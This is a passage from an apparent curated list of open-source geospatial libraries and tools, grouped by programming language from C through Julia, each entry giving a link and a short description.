* [SIMRDWN](https://github.com/avanetten/simrdwn) - The Satellite Imagery Multiscale Rapid Detection with Windowed Networks (SIMRDWN) codebase combines some of the leading object detection algorithms into a unified framework designed to detect objects both large and small in overhead imagery.
* [SNIPER](https://github.com/mahyarnajibi/SNIPER) - SNIPER is an efficient multi-scale object detection algorithm.
* [Solaris](https://github.com/cosmiq/solaris) - CosmiQ Works Geospatial Machine Learning Analysis Toolkit.
* [srcnn](https://github.com/WarrenGreen/srcnn) - Super Resolution for Satellite Imagery.
* [Temporal Convolutional Neural Network](https://github.com/charlotte-pel/temporalCNN) - Temporal Convolutional Neural Network for the Classification of Satellite Image Time Series.
* [TernausNetV2](https://github.com/ternaus/TernausNetV2) - TernausNetV2: Fully Convolutional Network for Instance Segmentation.
* [TorchGeo](https://github.com/microsoft/torchgeo) - TorchGeo is a PyTorch domain library, similar to torchvision, that provides datasets, transforms, samplers, and pre-trained models specific to geospatial data.
* [TorchSat](https://github.com/sshuair/torchsat) - TorchSat is an open-source PyTorch framework for satellite imagery analysis.
* [WaterNet](https://github.com/treigerm/WaterNet) - A convolutional neural network that identifies water in satellite images.
* [YOLT](https://github.com/avanetten/yolt) - You Only Look Twice: Rapid Multi-Scale Object Detection In Satellite Imagery.
## C
* [Datamaps](https://github.com/ericfischer/datamaps) - This is a tool for indexing large lists of geographic points or lines and dynamically generating map tiles from the index for display.
* [FORCE](https://github.com/davidfrantz/force) - Framework for Operational Radiometric Correction for Environmental monitoring.
* [H3](https://github.com/uber/h3) - Hexagonal hierarchical geospatial indexing system.
* [libpostal](https://github.com/openvenues/libpostal) - A C library for parsing/normalizing street addresses around the world. Powered by statistical NLP and open geo data.
* [libvips](https://github.com/libvips/libvips) - A fast image processing library with low memory needs.
* [Shapefile C Library](http://shapelib.maptools.org/) - Provides the ability to write simple C programs for reading, writing and updating (to a limited extent) .shp and .dbf files.
* [udunits2](https://github.com/Unidata/UDUNITS-2) - API and utility for arithmetic manipulation of units of physical quantities.
* [YOLT](https://github.com/CosmiQ/yolt) - You Only Look Twice: Rapid Multi-Scale Object Detection In Satellite Imagery.
## C++
* [Boost Geometry](http://www.boost.org/doc/libs/1_61_0/libs/geometry/doc/html/index.html) - Part of collection of the Boost C++ Libraries, defines concepts, primitives and algorithms for solving geometry problems.
* [Capaware](https://en.wikipedia.org/wiki/Capaware) - 3D terrain representation with multilayer representation.
* [copc-lib](https://github.com/RockRobotic/copc-lib) - copc-lib provides an easy-to-use interface for reading and creating Cloud Optimized Point Clouds.
* [cpd](https://github.com/gadomski/cpd) - Coherent Point Drift (CPD) is a point-set registration algorithm.
* [depthmapX](https://github.com/varoudis/depthmapX) - Multi-platform Spatial Network Analysis Software.
* [dreich_algorithm](https://github.com/csdms-contrib/dreich_algorithm) - Algorithm for extracting channel networks from high resolution topographic data.
* [entwine](https://github.com/connormanning/entwine) - Entwine is a data organization library for massive point clouds, designed to conquer datasets of hundreds of billions of points as well as desktop-scale point clouds.
* [GDAL](http://www.gdal.org/) - Geospatial Data Abstraction Library (GDAL) is a computer library that serve as a translator library for raster and vector geospatial data formats.
* [gdalcubes](https://github.com/appelmar/gdalcubes) - gdalcubes is a library to represent collections of Earth Observation (EO) images as on demand data cubes (or multidimensional arrays).
* [geojson-vt-cpp](https://github.com/mapbox/geojson-vt-cpp) - Port to C++ of JS GeoJSON-VT for slicing GeoJSON into vector tiles on the fly.
* [GEOS](https://trac.osgeo.org/geos/) - GEOS (Geometry Engine - Open Source) is a C++ port of the Java Topology Suite (JTS).
* [gSLICr](https://github.com/carlren/gSLICr) - Real-time super-pixel segmentation.
* [Halide](https://github.com/halide/Halide) - Halide is a programming language designed to make it easier to write high-performance image processing code on modern machines.
* [hmm](https://github.com/fogleman/hmm) - Heightmap meshing utility
* [hydroflow](https://github.com/sistemalabgis/hydroflow) - Compute drainage orders in drainage basins using Strahler and Shreve methods.
* [ITK](https://itk.org/) - ITK is an open-source, cross-platform system that provides developers with an extensive suite of software tools for image analysis.
* [LASzip](https://github.com/LASzip/LASzip) - Quickly turns bulky LAS files into compact LAZ files without information loss.
* [laz-perf](https://github.com/hobu/laz-perf) - Alternative LAZ implementation for C++ and JavaScript.
* [libGeoTiff](https://trac.osgeo.org/geotiff/) - Manipulate TIFF based interchange format for georeferenced raster imagery.
* [libspatialindex](https://github.com/libspatialindex/libspatialindex) - C++ implementation of R*-tree, an MVR-tree and a TPR-tree with C API.
* [Mapbox GL Native](https://github.com/mapbox/mapbox-gl-native) - Render Mapbox styles in mobile, desktop, and node applications using C++ and OpenGL.
* [Mapbox Maps SDK for Qt](https://www.mapbox.com/qt/) - Qt Automotive Map Suite.
* [Mapnik Vector Tile](https://github.com/mapbox/mapnik-vector-tile) - Mapnik C++ implemention of Mapbox Vector Tile specification.
* [Mapnik](http://mapnik.org/) - C++ library for map rendering.
* [Mapzen Tangram-ES](https://github.com/tangrams/tangram-es) - C++ library for rendering 2D and 3D maps using OpenGL ES 2 with custom styling and interactions
* [networkit](https://github.com/networkit/networkit) - NetworKit is a growing open-source toolkit for large-scale network analysis.
* [OpenDroneMap](https://github.com/OpenDroneMap/OpenDroneMap) - OpenDroneMap is a tool to postprocess drone, balloon, kite, and street view data to geographic data including orthophotos, point clouds, & textured mesh.
* [OpenOrienteering Mapper](https://github.com/OpenOrienteering/mapper) - OpenOrienteering Mapper is a software for creating maps for the orienteering sport.
* [Orfeo ToolBox](https://www.orfeo-toolbox.org/) - Orfeo TooLBox (OTB) is an open-source C++ library for remote sensing images processing, distributed under the Apache v2.0 licence.
* [osgearth](https://github.com/gwaldron/osgearth) - A free open source C++ geospatial toolkit.
* [OSMExpress](https://github.com/protomaps/OSMExpress) - Fast database file format for OpenStreetMap.
* [OSRM (Open Source Routing Machine)](http://project-osrm.org/) - High performance routing engine written in C++, designed to run on OpenStreetMap data. Services available: Nearest, Route, Table, Match, Trip, Tile.
* [otbtf](https://github.com/remicres/otbtf) - Deep learning with otb.
* [pprepair](https://github.com/tudelft3d/pprepair) - Validation and Automatic Repair of Planar Partitions.
* [prepair](https://github.com/tudelft3d/prepair) - Automatic repair of single polygons (according to the OGC Simple Features / ISO19107 rules) using a constrained triangulation.
* [Pronto Raster](https://github.com/ahhz/raster) - C++ library for geographical raster data analysis.
* [RichDEM](https://github.com/r-barnes/richdem) - High-performance Terrain and Hydrology Analysis.
* [RoutingKit](https://github.com/RoutingKit/RoutingKit) - RoutingKit is a C++ library that provides advanced route planning functionality.
* [RSGISLib](http://rsgislib.org/) - The Remote Sensing and GIS software library (RSGISLib) is a collection of tools for processing remote sensing and GIS datasets. The tools are accessed using Python bindings or an XML interface.
* [S2 Geometry](https://github.com/google/s2geometry) - Computational geometry and spatial indexing on the sphere.
* [Selene](https://github.com/kmhofmann/selene) - A C++14 image representation, processing and I/O library.
* [Spatial](https://sourceforge.net/projects/spatial/) - Spatial is a generic header-only C++ library providing multi-dimensional in-memory containers, iterators and functionals.
* [Supercluster](https://github.com/mapbox/supercluster.hpp) - A C++14 port of supercluster, a fast 2D point clustering library for use in interactive maps.
* [TauDEM](https://github.com/dtarb/TauDEM) - Terrain Analysis Using Digital Elevation Models (TauDEM) software for hydrologic terrain analysis and channel network extraction.
* [Terralib](http://www.dpi.inpe.br/terralib5/wiki/doku.php?id=start) - TerraLib is a GIS classes and functions open source library.
* [TIN Terrain](https://github.com/heremaps/tin-terrain) - A command-line tool for converting heightmaps in GeoTIFF format into tiled optimized meshes.
* [tippecanoe](https://github.com/mapbox/tippecanoe) - Build vector tilesets from large collections of GeoJSON features.
* [valhalla](https://github.com/valhalla/valhalla) - Open Source Routing Engine for OpenStreetMap.
* [Vector Tiles Producer](https://github.com/vross/vector-tiles-producer) - Command line tool in C++ to creates vector tiles for a given area at chosen zoom levels using a Mapnik XML.
* [VROOM](https://github.com/VROOM-Project/vroom) - VROOM is an open-source optimization engine written in C++17 that aim at providing good solutions to various real-life vehicle routing problems (VRP) within a small computing time.
## C Sharp
* [ArcBruTile](https://github.com/ArcBruTile/ArcBruTile) - ArcBruTile displays a collection of maps in ArcGIS Pro 2.0 and ArcMap 10.0 - 10.6.
* [AzureMapsRestServices](https://github.com/perfahlen/AzureMapsRestServices) - .Net Standard 2.0 library to access AzureMaps Services.
* [Bing Maps REST Toolkit](https://github.com/Microsoft/BingMapsRESTToolkit) - This is a portable class library which makes it easy to access the Bing Maps REST services from .NET.
* [Bing Maps Spatial Data Services Toolkit](https://github.com/Microsoft/BingMapsSDSToolkit) - This toolkit makes it easy to use the Bing Maps Spatial Data Services (SDS) in .NET.
* [Bing Maps WPF SDK ](https://msdn.microsoft.com/en-us/library/hh750210.aspx) - The Bing Maps WPF API.
* [Bing-Maps-Fleet-Tracker](https://github.com/Microsoft/Bing-Maps-Fleet-Tracker) - The Bing Maps Fleet Tracker is a tracking solution for small to medium sized teams. Easily track vehicles and mobile devices.
* [BotBuild-Location](https://github.com/Microsoft/BotBuilder-Location) - An open-source location picker control for Microsoft Bot Framework powered by Bing Maps REST services.
* [BruTile](https://github.com/BruTile/BruTile) - BruTile is a .NET library to access tile services like those of OpenStreetMap, MapBox or GeodanMaps.
* [DEM Net Elevation API](https://github.com/dem-net/DEM.Net) - 3D terrain generation library, provides access to global DEM datasets (OpenTopography, Nasa ASTER) and tiled imagery services. GlTF and STL export formats supported. [Live demo](https://elevationapi.com)
* [DotSpatial](https://github.com/DotSpatial/DotSpatial) - DotSpatial is a geographic information system library written for .NET 4.
* [Earth-Lens](https://github.com/Microsoft/Earth-Lens) - Earth Lens, a Microsoft Garage project is an iOS iPad application that helps people and organizations quickly identify and classify objects in aerial imagery through the power of machine learning.
* [GDAL/OGR CSharp](https://trac.osgeo.org/gdal/wiki/GdalOgrInCsharp) - C# bindings for GDAL and OGR.
* [Geo](https://github.com/sibartlett/Geo) - A geospatial library for .NET
* [GeoJSON.Net](https://github.com/GeoJSON-Net/GeoJSON.Net) - .Net library for GeoJSON types & corresponding Json.Net (de)serializers.
* [GeoJSON4EntityFramework](https://github.com/alatas/GeoJSON4EntityFramework) - Create GeoJSON from Entity Framework Spatial Data or WKT.
* [Mapbox Maps SDK for Unity](https://www.mapbox.com/unity-sdk/) - The Maps SDK for Unity is a collection of tools for building Unity applications from real map data.
* [MaxRev.Gdal.Core](https://github.com/MaxRev-Dev/gdal.netcore) - Bindings for GDAL and OGR (both win-x64 and linux-x64).
* [NTS Net Topology Suite](https://github.com/NetTopologySuite/NetTopologySuite) - A .NET GIS solution that is fast and reliable for the .NET platform.
* [osmsharp](http://www.osmsharp.com/) - OsmSharp is a C# library to work with OpenStreetMap (OSM) data.
* [Sanchez](https://github.com/nullpainter/sanchez) - False-colour geostationary satellite image compositor.
* [SharpKml](https://github.com/samcragg/sharpkml) - Is able to read/write both KML files and KMZ files.
* [SharpMap](https://github.com/SharpMap/SharpMap) - SharpMap is an easy-to-use mapping library for use in web and desktop applications.
* [Windows UWP map control](https://msdn.microsoft.com/en-us/library/windows/apps/xaml/dn642089.aspx) - The Bing Maps control built into the Windows UWP platform.
## Clojure
* [geo](https://github.com/Factual/geo) - Clojure library for working with geohashes, polygons, and other world geometry.
## Crystal
* [lidar](https://github.com/jblindsay/lidar) - A Crystal language library for reading and writing LiDAR data in LAS format.
## CSS
* [CartoCSS](https://www.mapbox.com/tilemill/docs/manual/carto/) - TileMills language.
* [MapCSS](http://wiki.openstreetmap.org/wiki/MapCSS) - MapCSS is a CSS-like language for map stylesheets.
## Dart
* [turf_dart](https://github.com/dartclub/turf_dart) - A turf.js-like geospatial analysis library working with GeoJSON, written in pure Dart.
## Delphi
* [DSpatial](http://dspatial.sourceforge.net/) - DSpatial is an Open Source software development project to provide developers using Delphi with a library of tools for the use, manipulation, and visualization of spatial data.
## Elixir
* [distance](https://github.com/pkinney/distance) - Provides a set of distance functions for use in GIS or graphic applications.
* [geo](https://github.com/bryanjos/geo) - A collection of GIS functions for Elixir.
* [Geometry Library](https://github.com/pkinney/topo) - A Geometry library for Elixir that calculates spatial relationships between two geometries.
* [GeoPostGIS](https://github.com/bryanjos/geo_postgis) - Postgrex extension for the PostGIS data types.
## Fortran
* [6S](http://6s.ltdri.org/) - Second Simulation of the Satellite Signal in the Solar Spectrum (6S) open source algorithm.
* [SPECFEM3D_GLOBE](https://github.com/geodynamics/specfem3d_globe) - SPECFEM3D_GLOBE simulates global and regional (continental-scale) seismic wave propagation.
* [SWAT](https://github.com/WatershedModels/SWAT) - Implementation of SWAT model.
## Go
* [BoxTree](https://github.com/tidwall/boxtree) - An R-tree implementation for Go.
* [BuntDB](https://github.com/tidwall/buntdb) - BuntDB is an embeddable, in-memory key/value database for Go with custom indexing and geospatial support.
* [cogger](https://github.com/airbusgeo/cogger) - cogger is a fast geotiff to COG converter.
* [Draw2D](https://github.com/llgcode/draw2d) - 2D rendering for different output (raster, pdf).
* [geom](https://github.com/ctessum/geom) - Geometry objects and functions for Go.
* [Go GDAL](https://github.com/lukeroth/gdal) - Go (golang) wrapper for GDAL, the Geospatial Data Abstraction Library.
* [go-geom](https://github.com/twpayne/go-geom) - Go library for handling geometries.
* [Go-proj-4](https://github.com/pebbe/go-proj-4) - Go bindings for the Cartographic Projections Library PROJ.4.
* [Go-shp](https://github.com/jonas-p/go-shp) - Go library for reading and writing ESRI Shapefiles. Pure Golang implementation based on the ESRI Shapefile technical description.
* [go-spatial](https://github.com/jblindsay/go-spatial) - GoSpatial is a simple command-line interface program for manipulating geospatial data.
* [godal](https://github.com/airbusgeo/godal) - Godal aims at providing an idiomatic go wrapper around the GDAL library.
* [gopostal](https://github.com/openvenues/gopostal) - Go (cgo) interface to libpostal for fast international address parsing/normalization.
* [GoSpatial](https://github.com/jblindsay/go-spatial) - GoSpatial is a simple command-line interface program for manipulating geospatial data.
* [lidario](https://github.com/jblindsay/lidario) - A small Go library for reading and writing LiDAR (LAS) files.
* [orb](https://github.com/paulmach/orb) - A set of types for working with 2d geo and planar/projected geometric data in Golang
* [pg_featureserv](https://github.com/CrunchyData/pg_featureserv) - Lightweight RESTful Geospatial Feature Server for PostGIS in Go.
* [pg_tileserv](https://github.com/CrunchyData/pg_tileserv) - A very thin PostGIS-only tile server in Go. Takes in HTTP tile requests, executes SQL, returns MVT tiles.
* [S2](https://github.com/golang/geo) - S2 is a library for spherical geometry that aims to have the same robustness, flexibility, and performance as the best planar geometry libraries.
* [Tegola](https://github.com/go-spatial/tegola) - Tegola is a vector tile server delivering Mapbox Vector Tiles with support for PostGIS and GeoPackage data providers.
## Groovy
* [GeoScript Groovy](https://github.com/geoscript/geoscript-groovy) - GeoScript Groovy is the Groovy implementation of GeoScript.
## Haskell
* [HGeometry](https://github.com/noinia/hgeometry) - HGeometry is a library for computing with geometric objects in Haskell. It defines basic geometric types and primitives, and it implements some geometric data structures and algorithms.
* [hgis](https://hackage.haskell.org/package/hgis) - Package containing functions to make graphs, read shapefiles, and compute areas/perimeters of geographic features.
* [Naqsha](https://github.com/naqsha/naqsha) - Naqsha is a Haskell library to work with geospatial data types.
* [TerraHS](https://wiki.haskell.org/TerraHS) - TerraHS is a software component that enables the development of geographical applications in a functional language, using the data handling capabilities and spatial operations of TerraLib.
## IDL
* [LandTrendr](https://github.com/KennedyResearch/LandTrendr-2012) - LandTrendr (Landsat-based Detection of Trends in Disturbance and Recovery) attempt to capture, label, and map changes in Earth's surface for use in science, natural resource management, and education.
## Java
* [Apache SIS](http://sis.apache.org/) - Apache Spatial Information System (SIS) is a free software, Java language library for developing geospatial applications.
* [asgbook](https://github.com/lakshmanok/asgbook) - Implementation of GIS/RS features in Java. Its also the code accompanying the book "Automating the Analysis of Spatial Grids" by Valliappa Lakshmanan.
* [GDAL Warp Bindings](https://github.com/geotrellis/gdal-warp-bindings) - Thread-safe bindings for GDAL's Warp functionality.
* [Geoapi](http://www.geoapi.org/) - GeoAPI provides a set of Java language programming interfaces for geospatial applications.
* [Geo Assist](https://github.com/thegeekyasian/geo-assist) - Geo Assist is an open source API for indexing and querying spatial data in the most efficient manner. It allows you to store 2D spatial data in-memory and support features such as find nearest neighbors, find in bounding box, etc.
* [Geonetwork](http://geonetwork-opensource.org/) - GeoNetwork is a catalog application to manage spatially referenced resources.
* [GeoServer](http://geoserver.org/) - GeoServer is open source server for sharing geospatial data.
* [Geotools](http://www.geotools.org/) - GeoTools is an open source Java library that provides tools for geospatial data.
* [GeoWebCache](http://www.geowebcache.org/) - a Java web application used to cache map tiles coming from a variety of sources such as OGC Web Map Service (WMS). It implements various service interfaces (such as WMS-C, WMTS, TMS, Google Maps KML, Virtual Earth) in order to accelerate and optimize map image delivery. It can also recombine tiles to work with regular WMS clients.
* [GeOxygene](https://sourceforge.net/projects/oxygene-project/) - Provide an open framework which implements OGC/ISO specifications for the development and deployment of GIS applications.
* [Gisgraphy](http://www.gisgraphy.com/) - Open source framework that offers the ability to do geolocalisation and geocoding via Java APIs or REST webservices.
* [GraphHopper Routing Engine](https://github.com/graphhopper/graphhopper) - GraphHopper is a fast and memory efficient Java routing engine, released under Apache License 2.0. By default it uses OpenStreetMap and GTFS data, but it can import other data sources.
* [JGeocoder](http://jgeocoder.sourceforge.net/) - Free Java Geocoder.
* [jpostal](https://github.com/openvenues/jpostal) - Java/JNI bindings to libpostal for fast international street address parsing/normalization.
* [JTS Topology Suite](https://github.com/locationtech/jts) - JTS Topology Suite is an API of 2D spatial predicates and functions.
* [LuciadLightspeed](http://www.luciad.com/solutions/luciadlightspeed) - A Java library that provides the foundations for advanced geospatial analytics applications
* [MapFish Print](https://mapfish.github.io/mapfish-print-doc/) - The purpose of Mapfish Print is to create reports that contain maps (and map related components) within them. The project is a Java based servlet/library/application based on the mature Jasper Reports Library.
* [Openmap](https://github.com/openmap-java/openmap) - Open Source JavaBeans-based programmer's toolkit.
* [PDAL-Java](https://github.com/PDAL/java) - Java extension and bindings for PDAL.
* [Photon](https://github.com/komoot/photon) - Photon is an open source geocoder built for OpenStreetMap data. It is based on elasticsearch.
* [Proj4j](https://github.com/locationtech/proj4j) - Java port of the Proj.4 library for coordinate reprojection.
* [Spatial4j](https://github.com/locationtech/spatial4j) - Spatial4j is a general purpose geospatial ASL licensed open-source Java library.
* [World Wind Java SDK](http://worldwind.arc.nasa.gov/java/) - Nasa cross-platform Java SDK.
## JavaScript
* [Arabesque](https://github.com/gflowiz/arabesque) - Arabesque is a web application for thematic mapping of flow and networks datasets.
* [arc.js](https://github.com/springmeyer/arc.js) - Calculate great circles routes as lines in GeoJSON or WKT format.
* [ArcGIS API](https://developers.arcgis.com/javascript/) - ArcGIS API for JavaScript.
* [Bing Maps V8 Code Samples](https://github.com/Microsoft/BingMapsV8CodeSamples) - A large collection of open source code samples for Bing Maps V8.
* [Bing Maps V8 Interactive SDK](https://www.bing.com/api/maps/sdkrelease/mapcontrol/isdk#loadMapWithOptions+JS) - An interactive code sample gallery for Bing Maps V8.
* [Bing Maps V8 TypeScript Definitions ](https://github.com/Microsoft/Bing-Maps-V8-TypeScript-Definitions) - TypeScript Definitions for the Bing Maps V8 web control.
* [Bing Maps V8 Web Control](https://msdn.microsoft.com/en-us/library/mt712542.aspx) - Bing Maps API for JavaScript.
* [Bertin.js](https://github.com/neocarto/bertin) - A JavaScript library for visualizing geospatial data and make thematic maps for the web.
* [CesiumJS](https://github.com/AnalyticalGraphicsInc/cesium) - An open-source JavaScript library for world-class 3D globes and maps.
* [d3-geomap](https://d3-geomap.github.io/) - A library for creating geographical maps based on D3.js.
* [de9im](https://github.com/dpmcmlxxvi/de9im) - A collection of fast functions for DE-9IM spatial operations.
* [deck.gl](https://github.com/uber/deck.gl) - WebGL2 powered geospatial visualization layers.
* [eurostat-map.js](https://github.com/eurostat/eurostat-map.js) - Reusable library to quickly create and customise web maps showing Eurostat data directly retrieved from Eurostat database.
* [Galton](https://github.com/urbica/galton) - Lightweight Node.js isochrone server. Build isochrones using OSRM, Turf and concaveman.
* [gdal-js](https://github.com/ddohler/gdal-js/) - An Emscripten port of GDAL 2.1.
* [geoblaze](https://github.com/GeoTIFF/geoblaze) - Geoblaze is a geospatial raster processing engine written purely in javascript.
* [Geodesy](https://github.com/chrisveness/geodesy) - Libraries of geodesy functions implemented in JavaScript.
* [GeoExt](https://geoext.github.io/geoext3/) - Open Source and enables building desktop-like GIS applications through the web. It is a JavaScript framework that combines the GIS functionality of OpenLayers with the user interface of the ExtJS library provided by Sencha.
* [geojson-merge](https://github.com/mapbox/geojson-merge) - Merge multiple GeoJSON files into one FeatureCollection.
* [Geokit](https://github.com/developmentseed/geokit) - Geokit is a command-line interface (CLI) tool written in javascript, that contains all the basic functionalities for measurements, conversions and operations of geojson files.
* [geoverview ](https://github.com/neocarto/geoverview) - Based on maplibre-gl, geoverview is a tool for giving a quick and easy geographic overview of any geojson (and the information it contains).
* [GeoPackage.js](https://github.com/ngageoint/geopackage-js) - GeoPackage JS is an implementation of the OGC GeoPackage spec. This library works in both the browser and Node 4+.
* [geopouch](https://github.com/pouchdb/geopouch) - Spatial plugin from PouchDB extracted and supporting N dimensional coordinates.
* [Geo-Three](https://github.com/tentone/geo-three) - Tile based geographic world map visualization library for threejs.
* [geotiff.js](https://github.com/geotiffjs/geotiff.js) - geotiff.js is a small library to parse TIFF files for visualization or analysis.
* [geotoolbox](https://github.com/neocarto/geotoolbox) - is javascript tool for geographers. It allows to simply deal with geojson properties (attribute data) and provides several GIS operations useful for thematic cartography.
* [Ginkgoch](https://ginkgoch.com) - Ginkgoch is a GIS visualization, analyze library on Node.js. It allows to build cross-platform GIS services, desktop and mobile apps.
* [gmaps.js](https://github.com/hpneo/gmaps) - gmaps.js allows you to use the potential of Google Maps in a simple way.
* [Google Maps API](https://developers.google.com/maps/documentation/javascript/?hl=pt-br) - Google Maps API for JavaScript.
* [Heatcanvas.js](https://github.com/sunng87/heatcanvas) - Yet another heatmap implementation for Javascript.
* [Heatmap.js](https://www.patrick-wied.at/static/heatmapjs/) - A heatmap implementation for Javascript.
* [iTowns](http://www.itowns-project.org/) - A Three.js-based framework written in Javascript/WebGL for visualizing 3D geospatial data. It can connect to WMS/WMTS/TMS servers including elevation data and load many different data formats (3dTiles, gpx, KML and much much more).
* [JSTS](https://github.com/bjornharrtell/jsts) - Port of the Java JTS library.
* [jVectorMap](https://jvectormap.com/) - jVectorMap is a vector-based, cross-browser and cross-platform component for interactive geography-related data visualization on the web. It provides numerious features like smooth zooming and panning, fully-customizable styling, markers, labels and tooltips.
* [kepler.gl](https://kepler.gl/) - kepler.gl is a data-agnostic, high-performance web-based application for visual exploration of large-scale geolocation data sets.
* [Koop](https://koopjs.github.io/) - An open source geospatial data server. Transform geospatial data on the fly and serve as GeoJSON, Vector Tiles, Feature Services and more.
* [landsat8.earth](https://github.com/kylebarron/landsat8.earth) - 2D/3D WebGL-powered Landsat 8 satellite imagery analysis.
* [landspeed.js](https://github.com/springmeyer/landspeed.js) - WMS server using node-mapnik.
* [Leaflet TimeDimension](https://github.com/socib/Leaflet.TimeDimension) - Add time dimension capabilities on a Leaflet map.
* [leaflet-providers](https://github.com/leaflet-extras/leaflet-providers) - An extension to Leaflet that contains configurations for various free tile providers.
* [Leaflet](http://leafletjs.com/) - Open-Source JavaScript Library for Mobile-Friendly Interactive Maps.
* [Loam](https://github.com/azavea/loam) - Javascript wrapper for GDAL in the browser.
* [LuciadRIA](http://www.luciad.com/solutions/luciadria) - A JavaScript library for 3D globes and maps, with support for military symbology and desktop-like performance
* [mapbox-gl-draw](https://github.com/mapbox/mapbox-gl-draw) - Draw tools for mapbox-gl-js.
* [mapboxgl-powerbi](https://github.com/mapbox/mapboxgl-powerbi) - Mapbox GL PowerBI custom visual.
* [mapshaper-proj](https://github.com/mbloch/mapshaper-proj) - A JavaScript port of the Proj.4 map projection library.
* [NASA WebWorldWind](https://github.com/NASAWorldWind/WebWorldWind) - The NASA WorldWind Javascript SDK (WebWW) includes the library and examples for creating geo-browser web applications and for embedding a 3D globe in HTML5 web pages.
* [openaq](https://github.com/nickolasclarke/openaq) - A JS client for the OpenAQ API. OpenAQ is a non-profit organization empowering communities around the globe to clean their air by harmonizing, sharing, and using open air quality data.
* [OpenGlobus](https://www.openglobus.org/) - A javascript library designed to display interactive 3d maps and planets with map tiles, imagery and vector data, markers and 3d objects. It uses the WebGL technology, open source and completely free.
* [OpenLayers](http://openlayers.org/) - Open source AJAX library.
* [openrouteservice-js](https://github.com/GIScience/openrouteservice-js) - The JavaScript API to consume openrouteservice(s) painlessly!
* [OSM Building](https://osmbuildings.org/) - A JavaScript library for visualizing OpenStreetMap building geometry on 2D and 3D maps.
* [overpass-turbo](https://github.com/tyrasd/overpass-turbo) - A web based data mining tool for OpenStreetMap using Overpass API.
* [PGRestAPI](https://github.com/spatialdev/PGRestAPI) - Node.js REST API for PostGres Spatial Entities.
* [pixelmatch](https://github.com/mapbox/pixelmatch) - The smallest, simplest and fastest JavaScript pixel-level image comparison library.
* [pouchdb-geospatial](https://github.com/dpmcmlxxvi/pouchdb-geospatial) - The PouchDB Geospatial plugin provides spatial querying of GeoJSON objects right in the browser.
* [procedural-gl-js](https://github.com/felixpalmer/procedural-gl-js) - Procedural GL JS is a library for creating 3D map experiences on the web, written in JavaScript and WebGL. It is built on top THREE.js.
* [proj4js](https://github.com/proj4js/proj4js) - JavaScript library to transform coordinates from one coordinate system to another, including datum transformations.
* [react-leaflet](https://github.com/PaulLeCam/react-leaflet) - React components for Leaflet maps.
* [react-map-gl](https://github.com/uber/react-map-gl) - React friendly API wrapper around MapboxGL JS.
* [reproject](https://github.com/perliedman/reproject) - Change, convert, transform, reproject GeoJSON between different projections/CRS.
* [Spatial](https://github.com/troufster/spatial) - A 2d spatial hash module for node.js.
* [spl.js](https://github.com/jvail/spl.js) - SpatiaLite and friends - sqlite, geos, proj, rttopo - for node (sync API) and browser (async API).
* [SQLite3](https://github.com/mapbox/node-sqlite3) - Asynchronous, non-blocking SQLite3 bindings for Node.js.
* [Supercluster](https://github.com/mapbox/supercluster) - A crazy fast geospatial point clustering library for browsers and Node.
* [SuperMap iClient for JavaScript](http://iclient.supermap.io) - Cloud GIS web client development platform supportted by SuperMap.
* [TerriaJS](https://github.com/TerriaJS/terriajs) - A library for building rich, web-based geospatial data explorers.
* [Thermo.js](https://github.com/dazuma/thermo.js) - Another heatmap implementation for Javascript.
* [tilegarden](https://github.com/azavea/tilegarden) - Serverless raster and vector map tile generation using Mapnik and AWS Lambda.
* [tilelive-postgis](https://github.com/stepankuzmin/tilelive-postgis) - Implements the tilelive API for generating mapnik vector tiles from PostGIS.
* [TileMantle](https://github.com/naturalatlas/tilemantle) - A tool to warm up your tile server cache. Give it a URL template, geometry, and list of zoom levels and it will request tiles incrementally to warm it up.
* [tilestrata-mapnik](https://github.com/naturalatlas/tilestrata-mapnik) - TileStrata provider for rendering tiles with mapnik.
* [TileStrata](https://github.com/naturalatlas/tilestrata) - A pluggable Node.js map tile server.
* [Turf.js](http://turfjs.org/) - Advanced geospatial analysis for browsers and node.
* [ui-leaflet](https://github.com/angular-ui/ui-leaflet) - AngularJS directive to embed an interact with maps managed by Leaflet library.
* [Vue2Leaflet](https://github.com/KoRiGaN/Vue2Leaflet) - Vue 2 components for Leaflet maps.
* [WebGISService](https://github.com/VicentGN/WebGISService) - Geospatial operations running as a service. Based on NodeJS/ExpressJS and TurfJS. Works with GeoJSON Features and FeaturesCollection.
* [Windshaft](https://github.com/CartoDB/Windshaft) - A Node.js map tile library for PostGIS and torque.js, with CartoCSS styling.
## Julia
* [ArchGDAL](https://github.com/yeesian/ArchGDAL.jl) - Vector and Raster interfaces.
* [ClimateTools.jl](https://github.com/Balinus/ClimateTools.jl) - Collection of commonly-used tools in Climate Science.
* [CoordinateTransformations.jl](https://github.com/JuliaGeometry/CoordinateTransformations.jl) - Julia package to manage simple or complex networks of coordinate system transformations.
* [DataFrames.jl](https://github.com/JuliaStats/DataFrames.jl) - Tools for working with tabular data in Julia.
* [DynamicGrids.jl](https://github.com/cesaraustralia/DynamicGrids.jl) - Generalised framework for building high-performance grid-based spatial simulations, including cellular automata, but also allowing a wider range of behaviours like random jumps and interactions between multiple grids. It is extended by Dispersal.jl for modelling organism dispersal processes.
* [EarthEngine.jl](https://github.com/KMarkert/EarthEngine.jl) - Google Earth Engine in Julia.
* [EcologicalNetwork.jl](https://github.com/PoisotLab/EcologicalNetwork.jl) - This julia package provides a common interface to analyze all types of data on ecological networks.
* [EarthDataLab.jl](https://github.com/JuliaDataCubes/EarthDataLab.jl) - Interface for Reading from the Earth System Datacube.
* [GDALfuns.jl](https://github.com/meggart/GDALfuns.jl) - Auto-generated low-level wrapper for the GDAL library.
* [GeoArrays.jl](https://github.com/evetion/GeoArrays.jl) - Simple geographical raster interaction built on top of ArchGDAL, GDAL and CoordinateTransformations.
* [GeoData.jl](https://github.com/rafaqz/Rasters.jl) - Standardising geospatial raster data in the Julia language.
* [GeoDataFrames.jl](https://github.com/evetion/GeoDataFrames.jl) - Simple geographical vector interaction built on top of ArchGDAL.
* [Geodesy.jl](https://github.com/JuliaGeo/Geodesy.jl) - Work with points defined in various coordinate systems.
* [GeoInterface.jl](https://github.com/JuliaGeo/GeoInterface.jl) - A Julia Protocol for Geospatial Data.
* [GeoJSON.jl](https://github.com/JuliaGeo/GeoJSON.jl) - This library is developed independently of, but is heavily influenced in design by the python-geojson package.
* [GeoMakie.jl](https://github.com/JuliaPlots/GeoMakie.jl) - Geographical plotting utilities for Makie.jl
* [GeoStats.jl](https://github.com/JuliaEarth/GeoStats.jl) - An extensible framework for high-performance geostatistics in Julia.
* [GMT.jl](https://github.com/GenericMappingTools/GMT.jl) - Generic Mapping Tools Library Wrapper for Julia.
